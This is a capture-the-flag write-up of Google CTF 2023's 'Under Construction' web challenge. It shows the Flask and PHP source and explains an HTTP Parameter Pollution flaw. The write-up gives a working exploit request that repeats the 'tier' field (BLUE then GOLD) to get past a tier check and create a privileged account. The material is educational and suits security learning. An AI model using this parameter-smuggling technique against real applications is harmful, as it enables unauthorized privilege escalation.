Created: Feb 13, 2024

[Write-Up Google CTF 2023]: Challenge "Under Construction"

Introduction

In the realm of cybersecurity competitions, Capture the Flag (CTF) events stand out for their ability to simulate real-world scenarios that challenge participants to think critically and creatively. The Google CTF 2023 presented an array of challenges, among which "Under Construction" offered a fascinating glimpse into the intricacies of web application vulnerabilities. This challenge revolved around exploiting the interaction between two distinct web applications, one developed with Flask (Python) and the other with PHP, to achieve unauthorized access.

Challenge Overview

The "Under Construction" challenge introduced competitors to a scenario involving two web applications undergoing a transition phase from Flask to PHP. The primary objective was to exploit this transition phase to register a "GOLD" tier account on the PHP application, which was not directly possible due to application logic restrictions.

Initial Reconnaissance

Upon initial inspection, participants were provided with two web applications:

  • A Flask application allowing user registration with tier levels ("BLUE", "RED", "GREEN", and "GOLD").
  • A PHP application intended to replace the Flask one, also handling user registrations but with a catch: the "GOLD" tier was restricted to certain users only, and the registration process was protected by a secret key.

Flask Application Landing Page

img 1

PHP Application Login Form

img 2

Diving Deeper

Exploring the Flask application revealed a standard signup form with an interesting twist: the ability to select a tier level for the account. However, attempts to register as a "GOLD" tier user were blocked, with the application specifying that only the CEO could attain this level.

Code Snippet: Flask Application Signup Form Handling
@authorized.route('/signup', methods=['POST'])
def signup_post():
    raw_request = request.get_data()
    username = request.form.get('username')
    password = request.form.get('password')
    tier = models.Tier(request.form.get('tier'))

    if(tier == models.Tier.GOLD):
        flash('GOLD tier only allowed for the CEO')
        return redirect(url_for('authorized.signup'))

    if(len(username) > 15 or len(username) < 4):
        flash('Username length must be between 4 and 15')
        return redirect(url_for('authorized.signup'))

    user = models.User.query.filter_by(username=username).first()

    if user:
        flash('Username address already exists')
        return redirect(url_for('authorized.signup'))

    new_user = models.User(username=username, 
        password=generate_password_hash(password, method='sha256'), tier=tier.name)

    db.session.add(new_user)
    db.session.commit()

    requests.post(f"http://{PHP_HOST}:1337/account_migrator.php", 
        headers={"token": TOKEN, "content-type": request.headers.get("content-type")}, data=raw_request)
    return redirect(url_for('authorized.login'))

Switching focus to the PHP application, it became evident that the signup process was secured by a secret key, complicating direct interactions with the registration endpoint.

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
	http_response_code(400);
	exit();
}

if(!isset($_SERVER['HTTP_TOKEN'])) {
	http_response_code(401);
	exit();
}

if($_SERVER['HTTP_TOKEN'] !== getenv("MIGRATOR_TOKEN")) {
	http_response_code(401);
	exit();
}

if (!isset($_POST['username']) || !isset($_POST['password']) || !isset($_POST['tier'])) {
	http_response_code(400);
	exit();
}

if (!is_string($_POST['username']) || !is_string($_POST['password']) || !is_string($_POST['tier'])) {
	http_response_code(400);
	exit();
}

insertUser($_POST['username'], $_POST['password'], $_POST['tier']);

The Breakthrough

The key to solving the challenge lay in understanding how Flask and PHP handle HTTP requests, specifically repeated parameters. This understanding led to the exploitation of an HTTP Parameter Pollution (HPP) vulnerability.

Look closely to this line:

raw_request = request.get_data()

And then to the following:

requests.post(f"http://{PHP_HOST}:1337/account_migrator.php", 
        headers={"token": TOKEN, "content-type": request.headers.get("content-type")}, data=raw_request)

HTTP Parameter Pollution Explained

HTTP Parameter Pollution (HPP) exploits the behavior of web applications when they receive HTTP requests with repeated query parameters. Different web frameworks and languages handle these repetitions in various ways, which can be exploited to manipulate the application logic.

In the context of this challenge:

  • Flask (Python) takes the first occurrence of a parameter when multiple instances are provided.
  • PHP, on the other hand, considers the last occurrence.

Crafting the Exploit

Armed with this knowledge, participants could craft a POST request to the Flask application's signup endpoint with the "tier" parameter repeated, first with a permissible value ("BLUE") and then with the restricted value ("GOLD").

Exploit Request:

POST /signup HTTP/1.1
Host: under-construction-web.2023.ctfcompetition.com
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

username=hacker&password=secure&tier=BLUE&tier=GOLD

This request would pass the Flask application's checks (since it reads the first "tier" parameter as "BLUE") but would be interpreted by the PHP application as a "GOLD" tier registration (since it reads the last "tier" parameter).

Gaining Access

Upon forwarding the crafted request from Flask to PHP, the PHP application processed the registration as a "GOLD" tier account, bypassing the intended restrictions. Participants could then log into the PHP application with the newly created "GOLD" tier account to retrieve the challenge flag.

PHP Application Showing GOLD Tier Access

img 3

Conclusion

The "Under Construction" challenge at Google CTF 2023 was a masterclass in exploiting subtle differences in web application frameworks. It underscored the importance of thorough reconnaissance, a deep understanding of web technologies, and creative thinking in cybersecurity. Through the exploitation of an HPP vulnerability, participants were able to bypass application logic and achieve unauthorized access, highlighting the critical nature of secure coding practices and the need for vigilant security testing in web application development.

Final Thoughts:

This challenge not only provided a hands-on experience with real-world security vulnerabilities but also emphasized the evolving landscape of web security and the continuous need for cybersecurity professionals to adapt and learn.

As cybersecurity enthusiasts and professionals, challenges like "Under Construction" serve as both a learning tool and a reminder of the constant vigilance required in the field.